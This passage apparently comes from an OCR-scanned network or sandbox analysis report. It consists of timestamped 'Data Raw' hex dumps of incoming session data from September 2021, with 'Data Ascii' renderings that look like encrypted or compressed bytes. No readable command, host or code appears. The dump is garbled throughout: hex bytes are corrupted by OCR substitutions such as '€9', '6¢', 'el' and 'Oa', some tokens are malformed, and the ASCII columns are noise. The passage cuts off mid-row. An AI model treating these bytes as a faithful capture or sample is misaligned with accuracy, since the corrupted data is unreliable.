772017 23330527 c2 7c 9a aa a7 58 82 93 d6 20 de aa 25 20 a8 c1 68 1b 5e 84 be 8a 74 dc ee 95 f5 9b 7c de ad 90
8a 3e 44 50 7c 1a a5 48 08 bf b5 6d 7 a8 57 72 ae 2b 3a 44 81 9a 96 f5 b1 b3 7a 55 fb 6d 87 a6 dd b0 46 6f dc 85 6f 86
a0 51 3e 4f 37 8b fa 00 1c da 7a cf 24 b4 5b 34 00 Oa 36 e5 af 5f a0 d3 08 e6 e3 bf 00 e4 4e ea 8a 56 8f 3e ba 37 ec 03 73
87 88 75 f2 9e dd 41 58 09 a0 dO c5 20 de 4d 80 4d e0 1e 5a bf 8a 6b 4b 2b cd 46 29 5a 1e 2a e9 7 42 e4 e8 7b 89 66 Ob
f0 15 66 92 el d9 69 16 32 7f a7 14 a5 1f Oe 84 7d
Data Ascii: OO{@WOP~!f|f:?yr;291/";|*-R]:Y{w #3'|X % h"t|>DP|HmWr+:DzUmFo0Q>07z$[46_NV>7suAX MMZKK+F
)Z*B{ffi2}

2021-09-13 23:07:18 UTC 423 IN Data Raw: ab fd cb al de c9 0a f2 4e 14 d0 42 b9 eb 61 3f fa 92 2f d8 ed e9 c9 5a 73 1b el 52 b3 cf 42 ea fd 10 9f 90 ba
Ob 4f 42 9e 26 e2 d8 8a 62 f0 64 bc 1a 6d c7 22 4f 5e 18 6¢ 23 fa 38 1d 6e 8b da f8 84 c1 c0 al d9 ce Oe fb al 34 eb 43 92
c3 b4 74 1506 73 ec e0 3a f2 db e8 €9 60 07 ea ac 92 62 a0 45 1f 33 6f 6f cO 7a el 8a de ce 5d 9¢ d9 f9 73 48 6f fa be 1a
67 6e 64 4b f4 32 6e 5¢ 76 67 aa 24 7a e5 12 96 e0 3f 9e e5 29 38 21 60 Oa e5 d1 11 44 fe 0d 12 c1 ef 36 42 el el 96 9c
70 b5 7a bl 96 3e 04 48 3b 23 18 €2 07 47 72 6e al 44 49 7c 5d €9 08 3f fb 51 c0 44 f1 e7 b9 6¢ cb 4b cc 1le 79 e4 b4 of
83 ea f0 f3 7f 41 80 b9 4e 9b ef 4b 5a 9d 1f 6f d9 b4 c6 e0 4f 06 7d 8c 73 95 1e 3f 13 a2 d1 61 a3 15 60 2c 6¢ 10 el 4f 06
44 d7 61 d6 50 98 c0 17 ab 3a €6 94 82 34 3a
Data Ascii: NBa?/ZsRBOB&bdm"O"#8n4Cts: bE300z]sHogndK2n\vg$z?)8!' D6Bpz>H;#GrnDI|]?QDIKyANKZoO}s?a’,
|0DaP:4:

2021-09-13 23:07:18 UTC 425 IN Data Raw: ¢5 d7 dc c2 02 fb 5b 50 bb c9 f1 61 ea 6f 8c e4 7c e2 b0 09 fe af dc b0 7a 0d 06 da 16 99 25 d3 Oe b5 c8 74 13
17 f24 72 c9 e4 38 4d 47 74 19 11 e9 d8 38 9a €0 3b c3 ae f8 6a 8b 7b cb 76 eb 70 28 de 2a 9a 06 01 81 f1 6d e4 Of bf OC
26 7e d2 ed b1 93 dd 5b 1c 2f aa 60 2d cd eb 1c d0 28 db el 4b 05 60 5d 9b c6 35 67 eb 6d 83 9f 6b 8e 62 14 bf 97 b2 6a
00 8f 1d d2 6a d2 6d d3 5 56 4d e4 d0 50 d7 21 eb 6a 6f 6¢ 30 03 be 5f 4c c2 70 f5 a9 63 3b bf d6 76 27 38 1b cd 69 63 6f
e8 bc 3c 66 el f2 e6 64 34 27 66 1c b2 3f 6¢ b9 53 42 db d7 10 68 60 al 13 7f 50 07 cf 47 2f bf 56 83 20 a7 8b 8d f1 67 9e
21 05 aa 53 50 cc 8c e8 ¢9 90 ea 11 c4 83 39 ac 03 88 6f b5 c6 cb 87 13 el ¢3 f9 ed 9f bd 44 da 33 fc d3 89 8d 06 e5 ec
59 05 b9 9a 09 2d 55 b4 a7 d4 51 38 dd b5 78
Data Ascii: [Pao|z%tr8MGt8;j{vp(*m&~[/"-(K']5gmkbjjmVMP!jol0_Lpc;v'8ico<fd4'f?ISBh"PG/V g!SP90D3Y-UQ8x

2021-09-13 23:07:18 UTC 426 IN Data Raw: bc 69 ec 53 ff 31 94 85 08 35 €9 52 61 d7 b2 c1 33 00 26 69 33 8c d4 e3 53 58 df 2d 64 9c 93 ee 44 cd e6 06
69 3e 86 48 3b 23 2c ff 6d fe 8d 78 a7 b2 35 79 1b a4 ef cb 0d 47 da 2b 6e e fa e3 2a 8e 68 01 5d 9d a7 3a bc b8 62 36
f2 24 a7 c0 4b 8d al 78 ch 2a 92 Ob 76 ce c3 e0 1f 70 05 3e 8c f1 2e 59 15 a2 97 88 a0 4b 9a 3a 52 1b f3 4b 40 b3 4f 41
c0 43 ce cb 60 bc 73 69 04 23 17 55 7a 14 30 1a 23 7f f0 af 01 8a f8 19 b3 c1 d6 5d 89 c9 c7 69 d6 74 65 aa 42 f5 le 4a f6
db 3d 36 a6 db cd 54 da f2 f2 05 13 ac bb 15 bc e6 09 0f a6 54 67 21 26 bd 2c 6f d8 ba 2b a4 16 60 1f f6 63 9e b9 6f 6d 4c
57 24 b2 e4 25 a4 f2 87 7b f9 a3 27 ¢6 8¢ 7c 77 57 87 1c b2 5e 18 7f bl f8 de 43 8b 81 a2 bb 8b 1d af Oc d6 8f 7a bd 76 d1
11 fc 15 3f 7b 63 a3 ff ed 26 43 8c ef Oa 23 1f
Data Ascii: iIS15Ra3&i3SX-dDi>H;#,mx5yG+n*h]:b6$Kx*vp>.YK:RK@OAC si#Uz0#]iteBJ=6TTg!&,0+ comLW$%{'|wW
ACzv?{c&C#
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 427 IN Data Raw: fb fe 1b c6 ba d1 5a ee 2c 2 9a 94 f8 a8 59 24 41 Oe b6 e6 94 fe 13 c3 66 59 2b 8a f5 db e0 aa 65 99 25 18 e4
e4 7b 44 b3 90 eb 78 0d 45 69 b9 03 b2 26 65 ef Oc 3c 5¢ 12 7f 16 7e fe 8e d5 a9 1c 8f 96 a3 cd 6a 61 6d 1f 32 47 a6 24
9b 8e 43 6b 68 a7 82 58 ba f4 4b 89 8e Oc d8 5¢ 03 e3 fc 16 93 {7 85 6d 28 42 44 64 33 fc d3 bd 20 60 51 13 4f 79 2e el
Oc 6b 01 02 23 18 74 23 cc f7 6f 3c ed 9a 4d c2 ed ba e8 03 e7 97 1le c7 b0 b2 21 7a 9f 66 5b Oc 42 fc 2c 76 fa 45 8a 29
b3 19 42 4¢ 09 83 a3 36 53 80 42 b9 73 ee aa 1f 3a 81 17 39 54 22 48 15 58 7b 71 47 ee f6 8f ac 31 47 57 2¢ 8e b1 03 1a
8e d1 3a 57 cl 6f f6 90 15 0a b3 4d fa 1a e0 ef 8f 04 bf 64 a2 7d d8 a9 72 f9 62 5d b0 a4 ac fd Oa 7a f9 eb d0 4a bf eb 61
Ob a7 a5 90 27 fb 13 fa ac 76 5d ec a5 cf 38 54 1c
Data Ascii: Z,Y$AFY+e%{DxEi&e<\~jam2G$CkhXK\m(BDd3 "QOy.k#t#0<M!zf[B,vE)BL6SBs:9T"HX{qG1GW,:WoMd}rb]
zJa'v]8T

2021-09-13 23:07:18 UTC 429 IN Data Raw: 53 99 68 35 5c aa 46 d6 e7 e8 86 11 65 b6 87 c7 cc b1l 81 2e 5b 21 08 60 ec Ob c4 39 02 1f 3 c0 4a a3 9d c4
8e e3 ba 1b 2b 18 d0 be 53 6d 9c 31 47 4f 00 76 5d 23 fb 7d 57 el f2 c2 fe 09 1c 1la b0 ba 8f 80 27 84 Oc 72 58 b7 a2 04
Oe d4 cf 92 8f 90 5b ¢3 ca 8d c6 6e cf f5 ce 67 64 7a f7 01 2e 7b c3 68 c0 fc f7 18 9 ad df b6 32 54 1e 9c 6d f9 53 56 db
44 eb 16 73 7d 3f 89 a9 13 Ob 38 be 8f 9a 8f Of a3 a4 69 8d c5 f2 39 ea 6¢ 78 de 7d 61 9a 6¢ c4 a5 Oe db ab 8e 4f 17 ab 97
7d c2 3a59 11 cc 4a 6a 91 c5 37 fO 7f db ac 94 cb 56 64 94 ff 20 d0 72 4a f5 83 d7 Oe e9 db 3f f8 02 25 27 66 0d 07 28 f2
66 28 38 8f 47 a9 7a d1 71 Ob 05 7b ed 4e 3d 87 25 5f 41 e7 b3 d6 f9 1d b1 2b 30 cb aa f9 bd dd cb 33 Oe d8 19 81 10 19
18 50 7f 1a f5 97 26 c6 f1 86 aa fb ee 83 d2 65
Data Ascii: Sh5\Fe.[!"9J+Sm1GOvV}#}W'rX[ngdz.{h2TmSVDs}?8i9Ix}al0}:YJj7Vd rJ?%'f(f(8Gzg{N=%_A+03P&e

2021-09-13 23:07:18 UTC 430 IN Data Raw: 29 5d 98 a8 05 2b d5 4c 93 06 al a6 2a f4 f8 5b 0f 7a e4 63 1d dd 89 cf 64 9f ae 5f f1 2c f5 e8 0f 7d 41 6a f9 22
28 85 04 d0 b7 dc e2 f6 7a af 6¢ 3¢ 12 5b 55 26 10 92 07 7f 95 f3 ¢9 35 9f 75 1f c5 f2 83 78 1f c8 38 99 66 89 86 94 dc 6e
0f f5 74 61 28 a8 06 €7 42 c4 61 e4 f4 8d 98 3a 10 fc 0d cb al ea 2c Oc 4b b1 02 54 20 c4 ee 27 4a e4 96 d8 ce 71 77 81
a9 30 d4 de 97 87 d1 9e 35 ee 48 2a fa f6 ce c2 b7 70 f9 e7 ce c¢7 04 b8 d3 31 7e 66 10 27 4f Oe 21 f8 91 05 5¢ ab f5 87 da
be dd de 84 5b cf 72 f4 71 a2 72 Oc 32 d7 d4 a7 ac ef 71 64 a9 47 52 53 d9 16 Oe e8 70 98 e5 a9 05 17 ac 01 36 e2 6a b2
4e f9 €3 69 31 5d 27 28 f9 73 7c 1a b7 00 e5 71 78 5d bd f1 74 7b 48 Oe 96 bc 2e e5 83 6b d5 47 28 5b ad 31 2c a8 73 cc
50 6b 74 81 73 84 02 48 ea 20 7d af 8d 21 11
Data Ascii: )]+L*[zcd_,}A]"(zI<[U&5ux8fnta(Ba:, KT 'Jqw05H*p1~f'ON\[rqr2qdGRSp6jNil]'(s|gx]t{H.kG([1,sPktsH }!

2021-09-13 23:07:18 UTC 431 IN Data Raw: 5e f4 6e 7 b7 bf 54 1d e9 4d 85 f2 aa ¢3 18 82 a9 8e f9 13 be 8e 44 57 69 19 79 f6 d3 69 d7 7d ed 3f 2d eb e7
b9 32 1b 69 7d 11 3a 59 1c 63 72 98 a6 d4 ff e5 a0 06 b0 34 71 17 84 f3 90 de c9 1a 94 dO df 63 c4 68 f2 15 44 4c 75 12
5b 2a 59 f9 40 e4 66 41 ff ca 3e 6b 80 01 7 f6 92 8d e7 dc c5 00 41 64 ae 5¢c d4 cb 9e f9 61 03 5d 50 19 ad f8 Oc e0 4c 79
2e 4f 7b ce 4b Oe 21 31 25 dc 22 f2 c0 74 8f dc 9f 20 09 Oc 61 50 32 f0 83 fO a5 20 2a c7 f1 66 ff Of 36 7c f2 1b fb 2f 4e a3
52 89 5b 41 6f bl 84 Oc 35 d6 13 f0O 8e fc af 84 eb 27 34 df 99 e3 eb c6 b6 a6 df 32 c6 d6 bc d4 b0 59 aa a0 65 e0 6¢ 4b d6
5c 1f 92 1c 31 f9 0f d6 ac 3a 1la 64 d1 f7 70 c4 1a e3 28 b2 19 70 82 a4 5c 27 b9 a9 e6 19 95 ce b6 d4 8 5d f7 ad bb 7 58
5e ee 40 45 22 89 3¢ 87 7d 4c 47 ca ea
Data Ascii: "nTMDWiyi}?-2i}:YcrdgchDLu[*Y @fA>kAd\a]PLy.O{K!1%"t aP2 *f6|/NR[A05'42YelK\1:dp(p\IX "@E"<}LG

2021-09-13 23:07:18 UTC 432 IN Data Raw: 3f 20 f7 93 16 71 c6 c2 96 5d 99 1d 3e 4b a4 Oa fa 04 d7 69 a6 e8 fO b7 42 55 99 05 b5 a6 c2 7d 10 31 2d 47
b8 6d 66 43 2a bd 1d cb ca 9c df d4 5d bc d8 8b c0 27 5f c5 bd ee bf 13 66 bd 27 5c 2e a5 1f ac 7d 1d d5 90 aa cfd9 7b 17
08 f4 2e 25 3a cc c5 4d 17 08 e5 65 be 6b 47 30 f7 a3 d1 ca ac 15 db 4a 43 d4 6¢ 39 89 53 ad b3 fc 9e 89 9b d2 6b ee 31
48 2d €3 03 2c 9f ¢4 18 27 29 11 3c 91 cb 4e 60 ea 3f ce 97 el d5 6f a0 8b cd 91 92 09 8f 86 8f 5a c5 83 67 90 7f ad 33 5f
03 93 b1 f8 28 e8 c¢7 24 1d c5 83 2f 4f 7e 2b f2 36 46 bd 32 58 40 9f 22 d2 e2 c3 08 79 1f 03 38 2b 76 6e 58 d3 df fa 1c 6e
88 98 42 da d3 9a dc 49 b4 38 fa 7e 09 ca €8 27 4d c1 01 8a 19 cc 29 57 bc 16 d0 8a e5 d9 8c de e7 91 20 2d 9f 9b 7d 2f
45 fc ¢5 87 80 Oc b6 df 55 6b 09 31 02 28 76 fc
Data Ascii: ? q]>KiBU}1-GmfC*]'_f\.}.%:MekGO0JCI9Sk1H-,")<N'?0Zg3_($/O~+6F2X@"y8+vnXnBI8~'M)W -}EUKL(v

2021-09-13 23:07:18 UTC 434 IN Data Raw: 23 03 fa ¢8 40 99 d4 97 53 0f 04 69 f8 38 f8 8b 2d 43 28 22 d5 d2 6¢ f7 55 €9 74 fa be 48 27 46 5b fb 81 53 07
eb b9 8¢ 98 49 d1 1b 16 da fb a7 b1 a0 20 3c a6 ac e4 e3 68 97 al d7 ce eb d1 b4 d4 24 1le a2 a0 el a7 64 7b 4e 58 17
49 8a 35 f1 d3 dc af 32 87 e9 d3 ff cf 16 18 eb 5¢ c¢5 18 78 82 b6 1b 2f b9 53 a0 11 3d a0 a4 dc Oc 16 e6 a5 0f b4 4b 56 ee
b6 13 2a 89 d8 d1 75 4c 93 9c e2 25 3a 7 a5 fa al 0d bd 77 a5 eb 3b d6 ad d5 a8 43 Oe 58 2d ef e5 ed dd 28 80 af ee 82
c6 d5 06 ca d2 cc f3 67 bl c8 34
Data Ascii: #@Si8-C("lUtH'F[SI <h$d{NXI52\x/S=KV*uL%:w;CX-(g4

2021-09-13 23:07:18 UTC 434 IN Data Raw: 9c c1 fa e7 91 b1 99 4b 1c 21 a7 6b eb 3b Oe b4 f0 fe 77 90 5¢ ea 4a 3b ed 78 4c fd 11 60 42 ad 3b b2 06 2c 04
00 1a 5f 12 a6 ec af 1b f3 d2 99 78 6a 19 9d a8 4c 0d 90 85 0d e0 05 c2 04 3b 69 f9 18 2e be bc f8 b2 c8 Oc 1e 9c a4 b5
1a 87 64 76 13 28 Ob d3 4c a0 9a 35 41 83 4a 55 d2 7a bd 00 23 94 e2 1f d3 d8 96 c3 ab 9b c0 6e 10 7b 98 08 6f Oc 70 15
09 3d 1f 2c 67 f4 82 e0 71 68 Oa 2e 89 6f 1f ab 94 fO 4c f4 f2 60 a8 ef 66 35 3e 9e 5d c4 18 d0 3a f9 8b 7a 31 5e 53 44 9a
03 b1 eb 39 57 3e 11 9e b2 77 de d8 27 12 00 7b 56 89 e4 6¢ df 87 38 bd 15 14 b7 93 6a 45 86 c2 5e 69 d9 1d 31 7e e4
0a 9b 31 97 69 30 dd b0 b7 89 60 d9 05 b5 90 82 7d 25 07 6d 47 cc 5b 26 43 83 8b 5d cb 14 aa 9f d4 4e 8b 98 8b 9b 10 1f
c5 1b d9 ff 13 9f 8a 67 5¢ 69 9d 5f ac €8 25 95 90 4d
Data Ascii: KIk;w\J;xL"B;,_xjL;i.dv(L5AJUz#n{op=,ggh.oL 5>]:z1"SDOW>W{VI8JE"i1~1i0"}%mG[&C]Ng\i_%M

2021-09-13 23:07:18 UTC 435 IN Data Raw: bb 48 1b 9c 04 48 89 7b 14 ec al 3c d7 11 09 26 d9 1c 5b 1b 2 51 08 41 bb 33 c3 81 8f 54 4b e7 55 b5 56 fe
€669 d9 €0 82 06 ea 86 b3 d8 ad ff 77 01 c5 76 €0 67 c5 70 ca 66 {7 f3 5 89 5b 89 72 8d f2 d0 99 c5 ¢4 21 b2 f1 13 24 e4
99 11 a7 26 71 f6 67 17 0a 3b 2b 7f 25 eb 33 b7 ef 5d 8d 4e 19 3a a7 Oe be 34 8e ca dc ff c9 8b db 6 0a 42 1f 84 al af 03
8f 7e a5 d8 df 25 00 b5 b4 8f 74 44 75 b8 88 7 1f 39 17 ec 66 91 18 17 78 ad ab 09 e7 5a 05 50 al 4e 94 08 41 e2 2d 81
92 b7 da f1 61 69 fa 8d 5f f1 ad 04 0 Oa 2e f0 09 b9 85 43 Oe 95 65 fb 9a 8a ae c8 74 13 b8 41 66 85 c4 69 50 b2 84 5d
b6 c9 15 22 c7 59 60 21 49 62 4a fa 1b c3 3b 90 e5 70 cd 53 41 67 95 5a 4a ¢5 10 1b f0 56 3b 71 c2 2d 09 3c df 21 34 35
80 1a 91 d7 32 66 35 62 92 24 1f a2 a0 el 1b b2 0d
Data Ascii: HH{<&[.QA3TKUViwvgpf[r'$&qg;+%3]N:4B~%6tDu9fXZPNA-ai_.CetAfiP]"Y lIbJ;pSAgZIV;q-<1452f5h%

2021-09-13 23:07:18 UTC 436 IN Data Raw: 7f 4d el 4f 7b ce e2 99 2f 91 d2 0f da cf 07 51 5a ec 38 b7 6b d0 3a f9 e5 15 11 2d 26 27 f2 23 d5 8e 4f 3e 5d
74 9e b2 19 b1 f8 54 67 63 13 76 ef 8d 00 ba a7 57 cf 35 70 de el 0f 26 f2 ad 2c 10 d9 1d 31 10 8b 2a e8 44 f4 01 10 ad
c2 d8 ea 05 aa 76 b5 fe ed 09 05 66 4d 23 a5 29 43 20 7 e4 2f b2 14 c4 f0 a0 6e ea b8 f8 f4 73 74 a0 6f d9 ff 13 9f e4 08
28 49 fc 7f df 9c 57 0 f1 20 f7 99 7b 21 5f db 5a 7f 60 e3 ab 8c 4b 2b 91 fd e3 2b 47 Oe a3 8c a5 66 f3 3b b4 e6 le fc 4c 72
d7 7e c2 aa be de 89 33 87 44 9a €9 00 18 93 4e 7f ad b0 02 7f 69 11 fd c2 fb 2b 1b b6 Ob a7 ae b2 b5 Oc 66 d8 ee f4 24
51 ab 86 a2 0Ob 5 e6 7f cf 4b c4 fb Of 63 fa 28 €6 18 9a e9 7c 2f a0 76 63 Of 7e f2 a2 06 23 ¢3 13 6¢ 29 cf Oc b2 8c de 3¢
19 6f ¢3 0a 06 1f f8 6¢ f6 bb ef 32 5e ed
Data Ascii: MO{/QZ8k:-&#O>]tTgcvW5p&, 1*DVIM#)C /nsto(IW {!_Z K++Gf;Lr~3DNi+f$QKc(|/vc~#l)<ol2”

2021-09-13 23:07:18 UTC 438 IN Data Raw: 1f d1 02 75 be 10 22 59 al d5 aa 66 98 b4 c2 3e 09 09 4f e7 53 ¢5 85 e7 fe 4c 4e 41 e5 f9 54 d4 0f 17 b7 61 63
0a 58 19 35 71 42 e0 01 2e 26 4f 69 58 05 Oe 9c¢ 79 2d dc d1 39 8f 74 13 94 97 20 59 9a 2f 50 b6 b8 8b f0 2d b6 64 c7 5e
2c f7 0f 8e ea bc 1b c2 67 46 a3 80 1f 15 41 65 f9 8¢ Oc 31 4f 5d f0 54 bb a7 84 d5 be 7a df 20 a4 e3 c6 e6 3f 91 32 64 91
b4 d4 24 cl e4 a0 e3 a7 64 4b bc ¢4 51 92 7e 76 f1 0f 90 34 74 1a 2e 96 ff 70 e0 82 ad 28 90 5e 78 82 de d6 69 b9 52 a0
11 95 fa 3e 9a f8 43 a0 a5 bb ed d0 10 ee b4 13 2a 89 10 08 33 4c 92 9c e2 65 a4 04 de le la c2 ac c8 f8 34 d7 d6 c5 93
46 ba 3e 85 6b ef e6 ed dd e8 84 16 a9 82 c¢7 d5 40 db d6 ea 1b 74 73 18 25 1f f3 25 61 de 65 37 73 17 Oc 78 2d eb 39 Oe
b4 30 ce a8 d6 5c eb 4a 7d ec 58 91 bb 11 62 42 ad
Data Ascii: u"Yf>OSLNATacX5qB.&0iXy-9t Y/P-d*,gFAe10]Tz ?2d$dKQ~v4t.p("xiR>C*3Le4F>k@ts%%ae7sx-90\J}XbB
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 439 IN Data Raw: 3e 83 eb Oe 42 45 db 5c 7f 60 e0 aa 91 5b 3a 80 bf 87 2b 47 6e be 80 b0 2a {7 27 fb f7 1c f8 09 6b db 7d ca f8
a3 bb fa 47 9b 5e 8d bd 1c 1f c4 3e 10 df c4 07 6d Oc 72 89 c2 f9 6e Oa b8 11 bd b5 ae e0 Oc 73 d9 ff bl 21 40 aa f4 c3 10
eafl 2a ae 3fad f4 17 26 f0 32 a9 1a c8 e2 7e 2e b1 77 65 6¢ Oa 9d bf 56 2f ¢5 17 6a 21 d4 0d e0 c5 bl 48 39 1f c6 Oe Oe
15 f8 77 el ff 99 3f 4f fb b5 23 f9 bc 8f ee 7d c6 8¢ d8 4a 66 b2 8a Oe 39 ff 31 ab 6d 04 19 30 bc 85 e4 a3 97 ee ba ff 8b 21
07 04 ec 39 52 Oe 26 9c ec a2 ee 29 d2 f2 34 8b 6a 71 02 96 57 d4 90 2a 41 17 70 c4 c8 d2 8f Ob 44 32 9e 77 63 1a 33 c9
cf 2a ce a8 27 e7 be dd 9d 59 6a 75 e6 e5 09 ba 63 a0 07 1b c0 6d d6 27 69 bc e0 f9 bc Of 62 99 c2 48 1c b7 6f 4f bb 79
29 7a ea ea 3c 66 a6 53 a6 e9 6b f6 68 84
Data Ascii: >BE\'[:+Gn*'k}G">mrns!@*?&2~.welV/j!HO9w?0#}Jf91m0!9R&)4jgW*ApD2wc3*'Yjucm'ibHoOy)z<fSkh

2021-09-13 23:07:18 UTC 440 IN Data Raw: 0d d4 68 44 f7 08 20 90 63 ed 8e 32 1b 26 96 ff 72 f4 5d eb 61 fc 37 Oc eb d7 77 46 c3 36 €3 63 fc 96 88 bf 99
2d f3 c0 d8 85 66 39 80 f3 6b 2a a6 d8 d1 75 21 93 ef e2 06 70 af 99 6¢ 1b a7 ac ad d8 c5 91 b2 c4 ff 46 d6 1a 5a 2d ac 8a
9f 98 90 €9 db be f0 a9 b6 25 a8 7d 6¢ 5¢ 74 72 18 25 1f 3f f1 73 dc 64 37 73 17 20 b7 08 c6 65 c9 df 35 fe 77 90 5¢ ea 4a
3d 06 81 3a bb c1 fc 6e 32 f7 b2 06 2c 04 61 ef a0 b8 19 48 f3 d8 02 fb fa 65 6b 18 9d a8 4d 69 25 78 39 e5 c1 10 83 5d fb
00 0d 15 d2 f8 f8 b2 c8 0d 1e 9c b4 6¢ 8a e2 f0 5a 51 4a dc d2 09 82 00 22 67 a4 05 ca d2 7a bd 40 21 01 e5 de 5a 8e b2
df Oc 61 05 09 7d b3 eb d4 02 al 9b 67 08 3d 1f 2c 67 35 4c 84 56 ca 69 e4 91 cb fO 8e ef 21 81 84 1d bf c3 f0 58 df a3 c1
5e c4 18 d0 3a f9 6f 14 cf 9d 9e 2e 96 bf
Data Ascii: hD c2&r]Ja7wF6c-fok*ulplFZ-%}I\tr%?sd7s e5w\J=:n2,aHekMi%x9]IZQJ"gz@!Za}g=,g5LVi!X":0.

2021-09-13 23:07:18 UTC 441 IN Data Raw: 61 04 5f f6 bc 9¢c 79 92 53 20 80 c7 a8 af c8 10 1c ae c8 Oc f1 32 40 c9 e4 3b ae 05 bd 65 89 bc f2 7d 34 c5 c6
3c d9 49 16 9e f6 dO e3 ea 14 74 0a f1 b0 92 6b cf da 8f 85 fc 21 dc 83 12 8b 04 af 6b 35 60 31 46 4c al d1 53 a6 al 05
c5 7d fd db a9 f2 2b 29 8b 9b 5b 26 de cf 83 97 80 50 ef 78 06 ba 13 f7 47 c6 9f 8c 02 ee 5b 7e 5a 5a 8f 19 a9 ee ed 90 13
76 32 37 f1 8a 6a 87 17 26 b8 c5 8a 6e f1 c4 Oe Oe cO 83 31 92 57 8c 4e 3a 3e da 23 fb 63 47 6¢ 2c fa el 83 02 84 7e 96
fa 2a 5¢ df dd d3 b4 5f 65 63 ce f1 13 24 ¢4 5¢ 8a 53 03 78 b3 3a ¢2 9d ¢9 85 5b 11 58 90 9c 99 d6 b2 59 63 12 13 al 1c
b3 c5 3d 14 2d ae Ob f6 18 a4 5d 24 4d Oc 68 80 01 12 d4 45 42 b0 8c al ba d4 32 ce cb f2 e4 14 80 6b 46 04 bd €0 71 e3
22 54 de 88 a2 10 af 5d 4d 99 ee 44 a0 ea 65 f1 4f
Data Ascii: a_yS 2@;e}4<Itk!k5 1FLS})[&PXG[~ZZv27j&n1WN:>#cGl,~*\_ec$\Sx:[XYc=-]$MhEB2kFq"T|[MDeO

2021-09-13 23:07:18 UTC 443 IN Data Raw: c8 fb cO 06 42 04 65 1a 75 13 fa ec cc 1b 81 d2 ed 78 18 18 c1 a8 38 0d f3 85 7f e0 71 c2 58 3b 00 f9 76 2e dd
bc a4 b2 ab 0d 71 9c d6 b5 7f 87 07 76 61 28 7f d3 13 a0 f3 35 2f 83 3e 55 b7 7a cf 00 4d 94 83 1f bf d8 c9 c3 d8 9b b4 6e
62 7b ec 08 00 Oc 08 15 27 3d 77 2c 67 f4 82 e0 71 68 55 2e d6 6f 7c ab e6 fO 38 f4 ad 60 db ef 12 35 4c 9e 29 ¢4 77 dO
42 f9 bl 7a Ob 5e 35 44 6 03 de eb 58 57 4a 11 {7 b2 19 de bf 27 4d 00 Ob 56 e6 e4 05 df e9 38 c9 15 4b b7 e5 6a 24 86
ae 5e 1c d9 78 31 44 e4 30 9b 50 97 1a 30 82 b0 d3 89 Of d9 70 b5 f2 82 11 25 62 6d 47 cc 04 26 2a 83 f8 5d 94 14 ce 9f
bb 4e fe 98 €9 9b 7c 1f a0 1b d9 ff 13 9f 8a 67 5¢ 69 c2 5f f3 e8 46 95 e2 4d 83 99 24 21 42 b4 5a 5f 71 8c bl e2 41 48 9d
98 bd 2b 7d Oe ab e3 bd 46 f9 55 ba 93 0d 94 05
Data Ascii: Beux8qgX;v.qva(5/>UzMnb{'=w,gghU.o|8 5L)wBz"5DXWJ'MV8K|$"x1DOP0p%bmG&*IN|g\i_FM$!BZ_gAH+}FU

2021-09-13 23:07:18 UTC 444 IN Data Raw: 97 50 c¢7 56 91 32 da 9f 92 97 67 ea eb 53 2c eb 9¢ 04 60 c5 18 10 93 83 13 be 07 f7 86 f5 2f 1d ec 07 ad f2 bl
89 7e 82 01 ¢4 90 13 57 ¢4 3f 57 ¢2 51 03 f6 13 23 b6 7d 44 75 4b eb 39 f3 5¢ 1b ec 37 70 3a cb 56 le 72 fc ed b9 ff e5 eb
2e b0 79 3a 7a 84 c4 db f6 c9 Oa df b0 df 40 8¢ 40 f2 d9 0f 2d 75 cb 10 57 59 58 Ob 80 66 b1 b4 81 3e 86 d7 22 e7 7a c5
el e7 2192 6b 41 97 f9 39 d4 d2 c9 9f 61 1d Oa 39 19 85 af 6d e0 65 2e 48 4f 99 86 2c Oe fb 79 0d dc eb ba bb 74 60 94
f2 207 44 1d 50 c1 b8 8b f0 e1 68 72 ¢7 2b 2¢ 92 0f 11 34 89 1b €3 67 14 a3 15 c1 27 41 15 9 5 Oc e5 91 6f fO 39 bb 87
84 49 60 59 df 43 a4 96 c6 7d el f7 32 12 91 dc d4 41 1e 82 a0 80 a7 14 4b ¢8 1b 7b 92 15 76 92 0f f9 eb 46 1a 4f 96 90
70 9a 5d cb 28 bf 5e 58 82 fc 1b 66 b9 07 a0 31
Data Ascii: PV2gS, /~W?WQ#}DuK9\7p:Vr.y:z@ @-uWYXf>"zlkA9a9me.HO,yt" DPhr+,4g'A091"Y C}2AK{vFOp]("Xf1

2021-09-13 23:07:18 UTC 445 IN Data Raw: 03 b1 eb 39 57 3e 11 9e b2 77 de d8 27 12 00 7b d6 08 66 ef 5b 02 be 3a 9d 9d 3d 18 e6 c8 08 4d ce f8 4b 8e
a5 eb 72 9d 03 a8 0d f2 ac 40 2e 28 29 ¢c1 7b a6 11 35 24 da 8d ae c7 ec 60 f6 88 ec 33 3a ef 78 a0 1f 29 63 f6 32 22 30
27 ad al 7a db 18 3d d0 5b 4f al 9b al 54 95 67 24 e8 5b 5f 9d 26 4b a8 f5 e4 62 f9 87 da 56 1e 3e f3 96 3a 78 66 c9 a4
ea 28 05 36 ae 7f bf 30 7f 94 7a 83 ef 43 el 5e 2¢ 32 28 7e cb 10 d1 15 35 8e 93 1c 3e 11 dd c7 63 1e 6f 16 f5 a4 81 45
65da 71 c1 d1 cd 87 7c 13 a3 9b 86 50 2d d5 9d be 79 9b 9c 2d 8f 1d 8e b0 44 65 b4 6e ef 42 c3 aa 36 73 ea 35 21 3d 4d
€6 f8 40 71 89 4b 22 7b 9c 5f ac dd f1 29 5b 7c ¢2 1d Od 11 e4 71 f9 b4 83 30 40 e7 a0 72 e8 a0 95 e8 7f c3 81 c2 44 52
9c f7 39 12 fa 22 a8 7a 0f Oe 71 db 8d fb a0 8e 6 a2 fO
Data Ascii: QW>wW{f[:=MKr@.(){5$3:x)c2"0'z=[OTg$[_&KbV>:xf(60zC",2(~5>coEeq|P-y-DenB6s5!=M@qK"{ )[|
q0@rDR9'"zq

2021-09-13 23:07:18 UTC 447 IN Data Raw: d4 b7 c9 f1 61 69 0a 58 69 9e d8 04 e0 Oa 2e 26 4f b9 66 7c 6f 95 14 2d 3 8a ca c8 19 13 94 97 41 85 6b 69 20
b2 b8 8b d0 c9 68 22 fd 59 2c 7 06 62 34 fa 30 c3 67 46 86 70 c1 53 41 67 f9 8¢ 09 ¢5 91 db fb 56 bb a7 84 2d 60 3c c2 21
a4 23 c2 lael d7 32 66 91 b4 42 24 1e 62 a4 el a7 64 4b b8 1b 17 1f 7c 76 31 07 98 eb 32 1a 26 96 ff fe f4 5d 2b 20 92
